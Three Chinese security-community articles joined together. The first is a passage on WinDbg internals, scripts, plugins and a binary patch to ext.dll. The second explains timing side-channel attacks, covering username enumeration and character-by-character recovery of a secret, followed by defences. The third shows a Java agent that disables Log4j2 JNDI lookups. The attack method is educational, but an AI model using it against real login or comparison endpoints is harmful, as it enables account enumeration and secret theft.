远程调试：dbgsrv开启调试服务，一般远程调试lsass一些关键进程可用这个，别直接本机调试（非侵入式的查看内存的除外），因为lsass提供了很多安全相关的RPC接口，
只要Windbg有相关操作，轻轻松松死锁。
内核调试：livekd是我单独放进去的，之前的文章已经接触过了。系统自带的本地内核调试（LKD）要给引导加/debug参数，Vista开始，如果开启LKD，dbgeng会释放kldgbdrv.sys来实现内核操作，kldgbdrv.sys封装了KdSystemDebugControl，互相通信。kd开头的都是内核调试相关的程序。
系统控制：gflag功能很强大，实际上是系统安插的各种控制点（NtGlobalFlag），便于调试分析，Loader、异常、Debug相关的控制点居多。
插件目录：winxp、winext都是，看名字就知道以XP分界，看文档你会发现很多插件命令都标注了支持的系统（比如Windows XP and later）。
SDK目录：里面有开发插件的例子，值得一看。
其它的不再详细介绍，帮助文档里的Debugging Resources写得很清楚，不懂就F1。
## Windbg脚本
脚本就是一连串的命令集合，Windbg除内置的命令外，还有很多插件提供命令。执行Windbg脚本有三种方式：
* 命令框里执行，例如：r $teb;r $peb 多条命令可用分号分隔，也可换行（命令框高度可以改变）。
* 命令框执行脚本文件，例如$$><”c:my_script.txt”，脚本文件里多条命令需换行或用分号分隔。
* Windbg参数-c执行，例如windbg.exe -c “commands” **脚本执行过程**
用windbg调试另一个windbg，观察脚本的执行过程，首先在windbg!CmdExecuteCmd下断点，第一个参数则是用户输入命令。如下所示：
输入 bp @$exentry，程序中断到CmdExecuteCmd
---------------------------------------- Breakpoint 0 hit
windbg!CmdExecuteCmd:
00000001`3fe692a0 4056 push rsi
---------------------------------------- 可知参数1是输入的命令
0:000> du @rcx
00000000`0034f2b0 "bp @$exentry"
-----------------------------------------
查看当前栈回溯，可知消息来自UI线程，说明这是Edit的消息处理过程。
0:000> k
# Child-SP RetAddr Call Site
00 00000000`000ab258 00000001`3fe673e4 windbg!CmdExecuteCmd
01 00000000`000ab260 00000001`3fe6cdd0 windbg!WinCommand::OnNotify+0x454
02 00000000`000ab2b0 00000000`77429bd1 windbg!WinBase::BaseProc+0x730
03 00000000`000ab3f0 00000000`774272cb USER32!UserCallWinProcCheckWow+0x1ad
04 00000000`000ab4b0 00000000`77426829 USER32!DispatchClientMessage+0xc3
05 00000000`000ab510 00000000`776811f5 USER32!_fnDWORD+0x2d
06 00000000`000ab570 00000000`7742685a ntdll!KiUserCallbackDispatcherContinue
07 00000000`000ab5f8 00000000`77423838 USER32!ZwUserMessageCall+0xa
08 00000000`000ab600 00000000`77426bad USER32!SendMessageWorker+0x73d
09 00000000`000ab690 000007fe`f56a54fd USER32!SendMessageW+0x5c
0a 00000000`000ab6e0 000007fe`f56a5458 MSFTEDIT!CW32System::SendMessage+0x51
0b 00000000`000ab960 000007fe`f56a86b7 MSFTEDIT!CTxtWinHost::TxNotify+0x134
0c 00000000`000ab9b0 00000000`77429bd1 MSFTEDIT!RichEditWndProc+0x228
***省略***
-----------------------------------------
跟踪CmdExecuteCmd，发现命令写入g_UiCommandBuffer(这里可通过内存访问断点跟踪)
00 00000000`000ac608 00000001`3fe78ef2 windbg!StartCommand
01 00000000`000ac610 00000001`3fe6947e windbg!AddStringCommand+0xae
02 00000000`000ac640 00000001`3fe673e4 windbg!CmdExecuteCmd+0x1de
03 00000000`000ac6a0 00000001`3fe6cdd0 windbg!WinCommand::OnNotify+0x454
接着就调用UpdateEngine通知Debug Engine
00 00000000`000ab148 000007fe`c4790d90 KERNELBASE!ReleaseSemaphore
01 00000000`000ab150 00000001`3fe7c580 dbgeng!DebugClient::ExitDispatch+0x70
02 00000000`000ab1a0 00000001`3fe78f2f windbg!UpdateEngine+0x2c
03 00000000`000ab1d0 00000001`3fe6930f windbg!AddStringCommand+0xeb
04 00000000`000ab200 00000001`3fe673e4 windbg!CmdExecuteCmd+0x6f
这里如果线程较多，可livekd查看信号量对象的DispatchHeader，进而找到正在等待的线程。因为本例子总共才5个线程，所以直接查看所有线程的栈，根据WaitForSingleObject句柄定位线程（前面几篇文章都有涉及如何找参数，当然你可用CodeMachine开发的cmkd插件），此时栈如下：
# Child-SP RetAddr Call Site
00 00000000`0442f768 000007fe`fd7110dc ntdll!NtWaitForSingleObject+0xa
01 00000000`0442f770 000007fe`c4790ca2 KERNELBASE!WaitForSingleObjectEx+0x79
02 00000000`0442f810 00000001`3fe7c264 dbgeng!DebugClient::DispatchCallbacks+0xf2
03 00000000`0442f890 00000000`775259ed windbg!EngineLoop+0x604 //调试循环
04 00000000`0442f920 00000000`7765c541 kernel32!BaseThreadInitThunk+0xd
05 00000000`0442f950 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
在该线程设置断点，例如：~13 bp
ntdll!NtWaitForSingleObject+0xa，接着跟踪到windbg!ProcessCommand，此时可用wt -l2 @$ra
根据函数名跟踪。不难找到添加断点的函数，此时栈如下：
00 00000000`0442da20 000007fe`c47798cf dbgeng!Breakpoint::Breakpoint+0xd2(构造Breakpoint实例)
01 00000000`0442da50 000007fe`c4857fee dbgeng!CodeBreakpoint::CodeBreakpoint+0x23
02 00000000`0442daa0 000007fe`c48338de dbgeng!MachineInfo::NewBreakpoint+0x11e
03 00000000`0442daf0 000007fe`c477c8f8 dbgeng!X86MachineInfo::NewBreakpoint+0x2e
04 00000000`0442db40 000007fe`c477f87f dbgeng!AddBreakpoint+0x1c4 => dbgeng!Breakpoint::LinkIntoList（添加到断点链表中）
05 00000000`0442db90 000007fe`c486b795 dbgeng!ParseBpCmd+0x2f7 //断点命令处理函数
06 00000000`0442dcf0 000007fe`c486cbdc dbgeng!ProcessCommands+0xccd
07 00000000`0442de40 000007fe`c47a04bb dbgeng!ProcessCommandsAndCatch+0xfc
08 00000000`0442ded0 000007fe`c47a07a3 dbgeng!Execute+0x2bb
09 00000000`0442e3c0 00000001`3fe798f1 dbgeng!DebugClient::ExecuteWide+0x83
0a 00000000`0442e420 00000001`3fe79d80 windbg!ProcessCommand+0x2b1
0b 00000000`0442e840 00000001`3fe7c2a2 windbg!ProcessEngineCommands+0x16c
0c 00000000`0442f890 00000000`775259ed windbg!EngineLoop+0x642
0d 00000000`0442f920 00000000`7765c541 kernel32!BaseThreadInitThunk+0xd
0e 00000000`0442f950 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
真正写入断点（内存int 3）是在程序恢复执行时调用InsertBreakpoints时：
dbgeng!PrepareForExecution+0x635:
000007fe`c481ced1 f60594984b0010 test byte ptr [dbgeng!g_EngStatus (000007fe`c4cd676c)],10h
000007fe`c481ced8 751e jne dbgeng!PrepareForExecution+0x65c (000007fe`c481cef8)
000007fe`c481ceda 8b0518d44a00 mov eax,dword ptr [dbgeng!g_CmdState (000007fe`c4cca2f8)]
000007fe`c481cee0 05fefeffff add eax,0FFFFFEFEh
000007fe`c481cee5 83f801 cmp eax,1
000007fe`c481cee8 760e jbe dbgeng!PrepareForExecution+0x65c (000007fe`c481cef8)
000007fe`c481ceea e81de9f5ff call dbgeng!InsertBreakpoints (000007fe`c477b80c)
000007fe`c481ceef 488b1d52f34c00 mov rbx,qword ptr [dbgeng!g_Target (000007fe`c4cec248)]
栈如下：
00 00000000`0442e638 000007fe`c49a5767 KERNELBASE!WriteProcessMemory
01 00000000`0442e640 000007fe`c48335cd dbgeng!LiveUserDebugServices::WriteVirtual+0x37
02 00000000`0442e680 000007fe`c4781158 dbgeng!BaseX86MachineInfo::InsertBreakpointInstruction+0x14d
03 00000000`0442e6e0 000007fe`c47799eb dbgeng!LiveUserTargetInfo::InsertCodeBreakpoint+0x88
04 00000000`0442e770 000007fe`c477be4d dbgeng!CodeBreakpoint::Insert+0xbb
05 00000000`0442e7d0 000007fe`c481ceef dbgeng!InsertBreakpoints+0x641
06 00000000`0442f6b0 000007fe`c47a37eb dbgeng!PrepareForExecution+0x653
07 00000000`0442f790 000007fe`c47a40e5 dbgeng!RawWaitForEvent+0x53
08 00000000`0442f850 00000001`3fe7bfd0 dbgeng!DebugClient::WaitForEvent+0xa5
09 00000000`0442f890 00000000`775259ed windbg!EngineLoop+0x370
0a 00000000`0442f920 00000000`7765c541 kernel32!BaseThreadInitThunk+0xd
0b 00000000`0442f950 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
到此为止，命令执行的大体流程已基本分析完，dbgeng.dll代码量很庞大，文件近6M，不过程序都有符号，分析还算方便。若读者在使用Windbg时，遇到状态栏一直显示busy，命令无法执行，也可尝试调一下EngineLoop，看看该调试循环的线程卡在何处。
一点思考：一般性的研究方法是先有形的认识（整体流程），再来量化（各个参数、结构）。
**脚本开发**
脚本开发不必多说，掌握常规的foreach，for， if
else，别名，masm/c++语法等使用，遇到不懂的命令F1查询即可，Windbg的帮助文档写得很清晰易懂，一般英语水平的都能看懂。为此笔者仅分享一些写过脚本作为参考。
注意：x64和x86在调用约定上有差异，此外就是ntdll模块和ntdll32符号结构不一致，必要时候可用.effmach选择amd64或x86模式
x64监视访问的文件：
bp ntdll!NtCreateFile "as /msu $Name poi(r8+10);.block{.echo ${$Name}};gc"
x64通过PEB查看模块链：
dt ntdll!_LDR_DATA_TABLE_ENTRY -l InLoadOrderLinks.Flink -n FullDllName -n EntryPoint poi(ntdll!PebLdr+10)
x64加载模块条件断点（类似sxe ld）：
bp ntdll!LdrpFindOrMapDll "as /msu $Name @rcx; .block{.echo $Name;.if($spat("${$Name}","*LINKINFO.dll*")){}.else{gc}}"
r0列举所有的文件系统
!list -t nt!_LIST_ENTRY.Flink -x "dt nt!_DEVICE_OBJECT DriverObject @@(#CONTAINING_RECORD(@$extret, nt!_DEVICE_OBJECT, Queue.ListEntry))" nt!IopDiskFileSystemQueueHead
r0列举对象类型
r $t0=nt!ObpObjectTypes;.while(poi($t0)!=0){.printf "%pt%dt%msun",poi($t0),by(poi($t0)+@@(#FIELD_OFFSET(nt!_OBJECT_TYPE,Index))),poi($t0)+@@(#FIELD_OFFSET(nt!_OBJECT_TYPE,Name));r $t0=$t0+@@(sizeof(void*));}
r0中断进程第一个线程启动
bp nt!PspUserThreadStartup "j dwo(@$proc+@@c++(#FIELD_OFFSET(nt!_EPROCESS,ActiveThreads)))==1 '';'gc'"
## Windbg插件
插件也可叫扩展，经常听到plugin、extension、addons说的都一个意思，这些都是老生常谈的术语了。可扩展性是架构设计的一大关注点，有接口可以定制，功能可以扩展，便于满足不同的业务需求，同时也是程序分解的一种方式。
Windbg也支持插件，winxp和winext是插件的默认搜索目录，加载插件用.load（直接使用!ext.xxx的方式也能加载ext插件），卸载用.unload，使用.chain能清晰看到当前加载的插件和搜索目录：
0:000> .chain
Extension DLL search Path: //搜索目录
C:Program Files (x86)Windows Kits10Debuggersx64WINXP;C:Program Files (x86)Windows Kits10Debuggersx64winext
Extension DLL chain: //当前加载的插件
dbghelp: image 10.0.14321.1024, API 10.0.6, built Sat Jul 16 10:12:38 2016
[path: C:Program Files (x86)Windows Kits10Debuggersx64dbghelp.dll]
ext: image 10.0.14321.1024, API 1.0.0, built Sat Jul 16 10:11:44 2016
[path: C:Program Files (x86)Windows Kits10Debuggersx64winextext.dll]
exts: image 10.0.14321.1024, API 1.0.0, built Sat Jul 16 10:11:36 2016
[path: C:Program Files (x86)Windows Kits10Debuggersx64WINXPexts.dll]
uext: image 10.0.14321.1024, API 1.0.0, built Sat Jul 16 10:11:32 2016
[path: C:Program Files (x86)Windows Kits10Debuggersx64winextuext.dll]
ntsdexts: image 10.0.14393.0, API 1.0.0, built Sat Jul 16 10:20:19 2016
[path: C:Program Files (x86)Windows Kits10Debuggersx64WINXPntsdexts.dll]
**插件执行过程**
重新调试Windbg，在Ext插件加载时下断点：sxe ld ext，栈如下：
0:013> k
# Child-SP RetAddr Call Site
00 00000000`0448ec88 00000000`7766ad2c ntdll!ZwMapViewOfSection+0xa
01 00000000`0448ec90 00000000`77661357 ntdll!LdrpMapViewOfSection+0xbc
02 00000000`0448ed40 00000000`77657cf8 ntdll!LdrpFindOrMapDll+0x469
03 00000000`0448eec0 00000000`77657b5e ntdll!LdrpLoadDll+0x148
04 00000000`0448f0d0 000007fe`fd719059 ntdll!LdrLoadDll+0x9a
05 00000000`0448f140 000007fe`c482cbb9 KERNELBASE!LoadLibraryExW+0x22e
06 00000000`0448f1b0 000007fe`c48e599e dbgeng!ExtensionInfo::Load+0x3bd //插件加载
07 00000000`0448f6a0 000007fe`c481c051 dbgeng!TargetInfo::AddSpecificExtensions+0x1a2
08 00000000`0448f6d0 000007fe`c4821033 dbgeng!NotifyDebuggeeActivation+0x7d
09 00000000`0448f750 000007fe`c47a3b65 dbgeng!LiveUserTargetInfo::WaitForEvent+0x403
0a 00000000`0448f900 000007fe`c47a40e5 dbgeng!RawWaitForEvent+0x3cd
0b 00000000`0448f9c0 00000001`3fe7bfd0 dbgeng!DebugClient::WaitForEvent+0xa5
0c 00000000`0448fa00 00000000`775259ed windbg!EngineLoop+0x370
0d 00000000`0448fa90 00000000`7765c541 kernel32!BaseThreadInitThunk+0xd
0e 00000000`0448fac0 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
可知ExtensionInfo::Load即是插件的加载函数，函数接着执行ext!DebugExtensionInitialize初始化函数，到此插件加载完毕。
**插件开发**
上面提到了插件加载，接着看看插件的导出函数，插件加载和卸载，以及：
查看sdk目录下的dbgexts.cpp，可看到这些函数的原型：
extern "C" HRESULT CALLBACK
DebugExtensionInitialize(PULONG Version, PULONG Flags)
extern "C" void CALLBACK
DebugExtensionUninitialize(void)
extern "C" void CALLBACK
DebugExtensionNotify(ULONG Notify, ULONG64 Argument)
文档中也有清晰的说明：
每个插件提供的命令，对外都是导出函数，通过感叹号调用，例如ext.dll提供的!error命令：
熟悉了那sdk几个sample后，结合帮助文档就可以开发插件了。
现在插件开发基本上都用engextcpp使用C++封装，开发更便捷，sdksamplesextcpp是个简单的例子，可直接作为模板，作者也写了些插件，后续有机会开源出来。当然你可以去找Github找一些插件工程，在上面扩充满足你的需求。
测试时经常使用.load和.unload来更新。
多看看帮助文档中的Debugger Engine and Extension APIs，虽说都是COM的设计风格，但插件本身并不是一个Windows
COM组件。总之，插件能做很多事，如果在脚本和现有插件不能满足你的情况下，可以尝试去开发，甚至可以直接扩充SDK的接口。
## 实践：给Ext官方插件打个补丁
Ext插件的!error命令查看错误时，一直提示Unable to get error code text，这是个老bug了，最新Windbg
10仍然没修复，来看看是啥情况。
0:000> !error 5
Error code: (Win32) 0x5 (5) - <Unable to get error code text>
接着调试Windbg，你可以从上面说的error导出函数入手，也可以直接从CmdExecuteCmd、ProcessCommand入手。
跟踪下去，我们找到关键函数FormatAnyStatus：
0:013> k
# Child-SP RetAddr Call Site
00 00000000`0448d448 000007fe`c4fcf018 ext!FormatAnyStatus
01 00000000`0448d450 000007fe`c4fcf0fb ext!DecodeErrorForMessage+0x24
02 00000000`0448d490 000007fe`c4fcf1d3 ext!DecodeError+0x37
03 00000000`0448d650 000007fe`c482d87b ext!error+0x63
04 00000000`0448d6a0 000007fe`c482da49 dbgeng!ExtensionInfo::CallA+0x287
05 00000000`0448d760 000007fe`c482db51 dbgeng!ExtensionInfo::Call+0x121
06 00000000`0448d960 000007fe`c482c261 dbgeng!ExtensionInfo::CallAny+0x9d
07 00000000`0448d9a0 000007fe`c486b9d5 dbgeng!ParseBangCmd+0x4ed
08 00000000`0448de60 000007fe`c486cbdc dbgeng!ProcessCommands+0xf0d
09 00000000`0448dfb0 000007fe`c47a04bb dbgeng!ProcessCommandsAndCatch+0xfc
0a 00000000`0448e040 000007fe`c47a07a3 dbgeng!Execute+0x2bb
0b 00000000`0448e530 00000001`3fe798f1 dbgeng!DebugClient::ExecuteWide+0x83
0c 00000000`0448e590 00000001`3fe79d80 windbg!ProcessCommand+0x2b1
0d 00000000`0448e9b0 00000001`3fe7c2a2 windbg!ProcessEngineCommands+0x16c
0e 00000000`0448fa00 00000000`775259ed windbg!EngineLoop+0x642
0f 00000000`0448fa90 00000000`7765c541 kernel32!BaseThreadInitThunk+0xd
10 00000000`0448fac0 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
IDA反编FormatAnyStatus如下：
接着在该函数的FormatMessageA下断点。
DWORD WINAPI FormatMessage(
__in DWORD dwFlags,
__in LPCVOID lpSource,
__in DWORD dwMessageId,
__in DWORD dwLanguageId,
__out LPTSTR lpBuffer,
__in DWORD nSize,
__in va_list* Arguments
);
执行后查看lpBuffer
0:013> p
ext!FormatAnyStatus+0x1f5:
000007fe`c50dded5 8bd8 mov ebx,eax
0:013> dq rsp+20
00000000`0448d410 000007fe`c534c720 00000000`00000400
0:013> db 7fe`c534c720
000007fe`c534c720 be dc be f8 b7 c3 ce ca-a1 a3 0d 0a 00 00 00 00 ................
000007fe`c534c730 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
用FormatMessageA版本的话，locale是中文的对应GBK编码，我们可用OpenArk查看一下编码（直接拷贝hex字符串即可，程序会自动过滤横线和空格）：
继续review
FormatAnyStatus的代码，下面是用isprint判断，中文肯定失败了，所以最后出现错误提示。（FormatAnyStatus函数很多模块里都有，比如dbgeng.dll（里面都用宽字符了，很明显都出自同一份代码），不过ext代码还没更新）
FormatMessageA(v7 | 0x200, v13, v6, 0, lpBuffer, 0x400u, 0i64);
原因已明，如何解决？
1、用FormatMessageW，但是后面涉及到一系列转码，这样打补丁的代码量就多了，麻烦。
2、MSDN说dwLanguageId（参数4）可以选择语言编码，那直接用E文即可，这样我们只需要把xor rd9, rd9改成mov rd9,
0x409即可。
第二种靠谱，但xor只有3个字节，空间太小放不下mov，只有找一段空隙，用函数首尾的的0xcc距离有太远，2字节的jmp short (0xeb)跳不过去。
折中考虑，把isprint的代码给抹掉(对于英文字符，一般都没多大用)。
接下来用x64dbg调试，通过OpenArk的地址转换，在ASLR下可以很方便在IDA和Windbg之间地址转换，无需Rebase。
最终patch如下：
保存ext.dll，重新加载插件，再试!error 5，已能正常显示。
## 结束
总结一下，要想熟练使用Windbg，首先要知道调试的基本原理，看下WRK内核是如何分发异常，调试循环又是如何进行的。对于某些特殊的实现，有代码就看代码，没代码就边猜，边监控观察，再不行就逆了它。
最后就是多翻翻Windbg帮助文档，学会总结积累，有想法后就去动手写。
千里之行，始于足下。
Thanks for reading。
参考资料：
Google
Windbg Help
MSDN
WRK
OpenArk https://github.com/BlackINT3/OpenArk | 社区文章 |
# 侧信道攻击研究——TIMING
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一. 引言
大家好，我是来自银基安全实验室的Cure，今天为大家介绍侧信道攻击方法之一，Timing侧信道。
随着软件安全攻防技术的螺旋式进步，安全隐患也更加多样化，有关静态分析、动态调试、远程渗透的技术技巧层出不穷。而侧信道攻击，作为一种剑走偏锋的攻击方式，也愈发引起业界的重视。
与常规攻击方法不同，侧信道攻击的关注点不再是系统的直观行为，而是由系统行为引起的诸如执行时间、功率损耗、无线电信号等间接表现的变化。所谓Timing侧信道，即基于执行时间的差异而进行的侧信道攻击。这种攻击在web服务场景或其他网络应用的场景都存在着一定程度上的适用性，更可以与其他手段进行配合。
本文首先从一个简单示例入手，介绍Timing侧信道的原理；再给出一个基于C语言实现的简单Demo，以更清晰地表述Timing侧信道的操作方法。
本文提供的技术探索与Demo，仅起到抛转引玉的作用，希望能够为初学者提供些许思路与参考。
## 二. Timing侧信道概念
Timing侧信道通过系统在不同行为流程下所表现出的执行时间差异，推断有用的信息，以达成或辅助攻击。本章给出一个基于泛化PHP代码的概念性介绍。
假设Web 网站采用了如下代码：
其逻辑可以简要归纳为：
① 若用户名不存在，则登录失败；
② 若用户名存在但密码不正确，则登录失败；
③ 只有当用户名和密码都正确，才返回成功。
其中，逻辑①的道理在于，当发生基于字典的爆破攻击时，由于涉及的查表列数只有1列，能够一定程度上减小服务器的开销。同时，由于逻辑①和逻辑②返回的信息字符串完全相同，避免了攻击者根据该信息判断出用户名是否存在，而进行后续的针对性的爆破。
然而，看似缜密的设计仍然能够受到Timing侧信道的有效攻击。具体方式如下：
① 攻击者从本地提交post请求，其中，变化username，而保持password为任意固定值，例如“123456”。
② 攻击者统计每次从发出请求起到收到服务器回执所耗费的时间，对于同一组用户名和密码，也可以通过测量多次取平均值、中值等方法消除网络延迟引入的时间抖动。
③ 对于统计时间较长的请求，认为其所对应的用户名是存在的。
④ 基于存在的用户名，进一步发动针对性的爆破。
本例中，Timing侧信道的立足点在于用户名是否存在所引入的访问时间的差异。具体地，若用户名不存在，则网站服务器仅执行逻辑①的相关判断，所耗费时间较短；若用户名存在，则网站服务器还需额外执行逻辑②的判断（即使密码错误），所耗费时间较长。由此，虽然用户名存在与否对返回的信息字符串并无影响，但攻击者可以从消耗时间长短不同的角度入手，推断出真正存在的用户名。
## 三. Timing侧信道Demo
本章首先阐述Demo对应的场景，再给出攻击思路，最后展示Timing侧信道攻击的实施方法与运行效果。
### 3.1 场景说明
本demo模拟了出题人和解题人的交互。
① 出题人设定了一个字符串secret（内容为happy），不直接公布其内容，如下图所示。
②
出题人提供了一个猜测其内容的接口guess_the_secret，该接口接收一个所猜测字符串作为参数，并返回猜测是否正确的结果。出题人对该接口的调用次数不设置限制。接口实现如下图所示。
其中，old_strcmp的实现采用了旧版C库的常见实现方式，即字符串逐个对比法，具体代码如下图所示。
③ 解题人可以通过编写相应程序调用该guess_the_secret并取得返回值不断猜测，直至找出出题人设定的字符串。若找到，则解题成功。
### 3.2 攻击思路
本节给出算法复杂度较高的直观方法和算法复杂度较低的Timing侧信道方法。
### 3.2.1 直观方法
直观上，解题人可以采用暴力遍历的方法对目标字符串进行破解，大体思路如下：
① 规定一个由目标答案中可能涉及的字符组成的字符集。
② 设置字符串长度为1，遍历地构造字符串，对所构造字符串调用guess_the_secret接口，查询其是否为目标字符串。
③ 以1为间隔，逐步增加所构造字符串的长度，重复进行过程②，直至找到答案。
然而，上述方法引入了指数级的时间复杂度，消耗资源较多，尤其在目标答案很长的情况下，不具备短时间内解决问题的实操性。
### 3.2.2 Timing侧信道方法
本Demo中，出题人提供的guess_the_secret接口调用的是基于逐字符对比的字符串比较函数，该函数的实现存在安全问题：当攻击者使用不同的字符串进行试探时，若所构造字符串与目标字符串从首字符起匹配的内容较长，则函数执行耗时较长；若匹配内容较短，则函数执行耗时较短，即，执行时间的差异一定能够反映两个字符串的匹配度，这正是Timing侧信道所依赖的攻击点。
故而，解题者可以基于“可能存在逐字符对比”的前提下，尝试性地发动Timing侧信道攻击，若不成功，再考虑其他方法或降级至3.2.1所述的直观方法。
值得注意的是，Timing测信道方法提供的时间复杂度不再是指数级，而是O(n)级，具体原因不妨结合3.3进行理解。
### 3.3 攻击实施
本Demo中，Timing侧信道攻击的具体实施方案如下。
① 依次尝试使用a, b, c，…,
z等长度为1的字符串，用其作为参数，调用guess_the_secret接口。其中，h字符串与目标字符串happy的第一个字符对比成功，进而进入第二个字符的操作阶段，耗时较长；而其他字符串与目标字符串happy在第一个字符就对比失败，直接返回，耗时较短。由此，比较各执行时间得知，h是目标字符串的第一个字符。
② 固定h，依次在其后接a, b, c，…,
z，并将这些长度为2的字符串，分别作为参数调用guess_the_secret接口。类似地，ha字符串作参数时，执行时间最长，而其他h*字符串的执行时间则略短。由此，比较各执行时间得知，ha是目标字符串的前两个字符。
③ 依此类推 …
④
经过以happ*（*为a到z）为参数调用guess_the_secret接口，并对比执行时间，确定第五个字符为y。由于以happy为参数调用guess_the_secret返回值为0，故猜测终止，得到题解即happy。
其中，对各字符进行猜测的示例代码如下图所示。
其中，字符集范围选择了a-z。同时，通过rdtsc指令进行高精度的时间获取与执行时间测量，进一步地，通过多次执行对单词消耗的时间进行放大，使得不同字符之间的时间差异更加明显。最终，通过遍历字符集，选取出耗时最长的情形所对应的字符，并认为该字符即目标字符串当前位置的字符。
本例的执行效果如下图所示。
本Demo中，通过Timing侧信道攻击，将解题所需要的指数级时间复杂度简化为O(n)级时间复杂度，故而能够迅速取得结果。
## 四. Timing侧信道的防御
基于前面的讨论，本章给出针对Timing侧信道的一些防御手段，供参考。
① 对于安全敏感的业务逻辑，减少不必要的分支，使得同一业务逻辑在不同场景下的耗时尽可能相近。
② 针对涉及网络传输的场景，可以在报文中引入MAC作为校验，以降低攻击者通过中间人方式获得原始传输内容，并通过调整内容实施Timing侧信道攻击的可行性。
③ 针对诸字符串对比场景，可选方法如下：
1> 可以引入hash操作。例如，对于安全敏感场景，不再诸个字符地对比两个字符串，而是逐个字符地对比两个字符串的hash值。
例如，自首个字符起局部匹配的两个字符串，其hash值可能相差极大，对比过程会立刻返回，这样一来，无法通过调整局部匹配的长度可控地影响对比时间，从而使Timing侧信道失效。
2> 可以采用已知安全的库函数或实现相对更加安全的constant-time对比操作。
示例实现为：
值得注意的是，该方法中，同样存在Timing侧信道攻击点，然而，通过攻击只能得到秘密字符串的长度，而当秘密字符串很长时，爆破其具体内容仍然是十分困难的。
## 参考文献
[1] Mayer J S D, Sandin J. Time trial: Racing towards practical remote timing
attacks[J]. Black Hat US Briefings, 2014. | 社区文章 |
# 利用 Java Agent 动态修补 Log4j2 漏洞
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、前言
Apache Log4j2 JNDI 注入漏洞（CVE-2021-44228）持续发酵，目前网络上提供了多种修补方案，如更新至最新版本、通过配置禁用
lookup 特性、删除 `org/apache/logging/log4j/core/lookup/JndiLookup.class`
类等，这些方法都能有效修补该漏洞，受 NCCGROUP 的项目 [log4j-jndi-be-gone](https://github.com/nccgroup/log4j-jndi-be-gone) 启发，笔者将分享一个通过 java agent
修改 jvm 字节码的方式动态 patch Log4j2
漏洞的方案，此方案的特点是可以在不重启服务的情况下，也可完成修复。希望此方案能够给那些因为业务原因无法重启应用的朋友们提供点思路。
## 2、Java Agent 简介
Java Agent 时 java 提供的一种机制，可以理解为一种 hook 机制，可以在 jvm 运行时动态修改 java
字节码，从而改变运行流程，从而实现一些特殊的功能，如性能监控，热更新等。关于如何开发一个 java agent，
网上有很多资料可以可以参考，如：<https://www.jianshu.com/p/3bbfa22ec7f5> ,这里就不进行阐述。
## 3、动态修补 Log4j2 漏洞
根据公开资料，已经知道该漏洞最终出现在Log4j2中 `org.apache.logging.log4j.core.lookup.JndiLookup`
类的 `lookup` 函数，故只要对该函数进行拦截并禁用，就可以完成漏洞修补。
### 3.1 拦截 Log4j2 JNDI lookup 调用
核心拦截代码如下：
public static void hook(Instrumentation instrumentation){
AgentBuilder.Transformer transformer = new AgentBuilder.Transformer() {
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder, TypeDescription typeDescription, ClassLoader classLoader, JavaModule javaModule) {
return builder
.method(ElementMatchers.<MethodDescription>namedIgnoreCase("lookup")) // 拦截 lookup 函数
.intercept(MethodDelegation.to(Intercepter.class));
}
};
new AgentBuilder
.Default()
.type(ElementMatchers.nameStartsWith("org.apache.logging.log4j.core.lookup.JndiLookup")) // 拦截 JndiLookup 类
.transform(transformer)
.installOn(instrumentation);
}
首先通过 bytebuddy 库的
type(ElementMatchers.nameStartsWith(“org.apache.logging.log4j.core.lookup.JndiLookup”))
拦截 `JndiLookup`类调用，只要调用该类，就会被拦截。拦截到该类之后，通过定义一个 Transformer 对该类的 lookup 函数进行拦截：
AgentBuilder.Transformer transformer = new AgentBuilder.Transformer() {
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder, TypeDescription typeDescription, ClassLoader classLoader, JavaModule javaModule) {
return builder
.method(ElementMatchers.<MethodDescription>namedIgnoreCase("lookup")) // 拦截 lookup 函数
.intercept(MethodDelegation.to(Intercepter.class));
}
};
通过这种方式，只要 `org.apache.logging.log4j.core.lookup.JndiLookup` 的 `lookup`
函数被调用，就会被 `Intercepter` 类拦截。
### 3.2 禁用 Log4j2 JNDI lookup 调用
定义一个拦截类 `Intercepter` 如下：
package demo.agent;
import net.bytebuddy.implementation.bind.annotation.*;
import java.lang.reflect.Method;
import java.util.concurrent.Callable;
public class Intercepter {
@RuntimeType
public static Object intercept(@Origin Method method, @SuperCall Callable<?> callable, @AllArguments Object [] objects) {
// 直接禁用原函数执行， 等价于删除该函数，从而使漏洞无法生效
// 同时打印相关日志
System.out.println("[HOOK] Log4j2 jndiLook up has been disabled!");
// TODO 此处可通过监控过来的数据，动态捕获攻击流量
System.out.println("[HOOK] " + objects[0].toString());
// 执行原函数（此处不执行）
// return callable.call();
return null;
}
}
然后将其注册至 java agent 之中
AgentBuilder.Transformer transformer = new AgentBuilder.Transformer() {
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder, TypeDescription typeDescription, ClassLoader classLoader, JavaModule javaModule) {
return builder
.method(ElementMatchers.<MethodDescription>namedIgnoreCase("lookup"))
.intercept(MethodDelegation.to(Intercepter.class)); // 注册拦截类 Intercepter
}
};
通过此种方式，只要 lookup 函数被调用，就会被拦截然后调用 Intercepter 类 intercept
方法，在该方法中，我们只写入自己的代码即可，如果不执行 `callable.call()` , 原来的方法就不会被调用，所以完成了 lookup
方法的禁用。另外，通过这种方式，可以将拦截的参数捕获出来，通过完善此部分代码，可以动态捕获攻击流量（有兴趣可以深入研究）
### 3.3 加载 Java Agent 完成修复
加载 Java Agent 有两种方式，第一种是 jvm 启动时加载，第二种是 jvm 运行时动态加载，其中第二种方法可以实现服务不重启情况下动态修复漏洞。
首先是 jvm 启动时加载，只需要给java添加启动参数 `-javaagent:agent.jar` 即可：
java -javaagent:log4j2-patch-agent.jar application.jar
第二种是 jvm 运行时动态加载，java 1.6 之后提供了一种 Attach 机制，能够通过 java 代码 attach 到 jvm
进程，然后再向其注入 agent，核心代码如下。
String jvmPid = "8888";
String agentJar = "path/to/agent";
VirtualMachine jvm = VirtualMachine.attach(jvmPid);
jvm.loadAgent(agentJar);
不过这个机制的相关代码在 tools.jar 中。JVM 启动时默认不加载这个 jar 包，需要在 classpath 中额外指定。
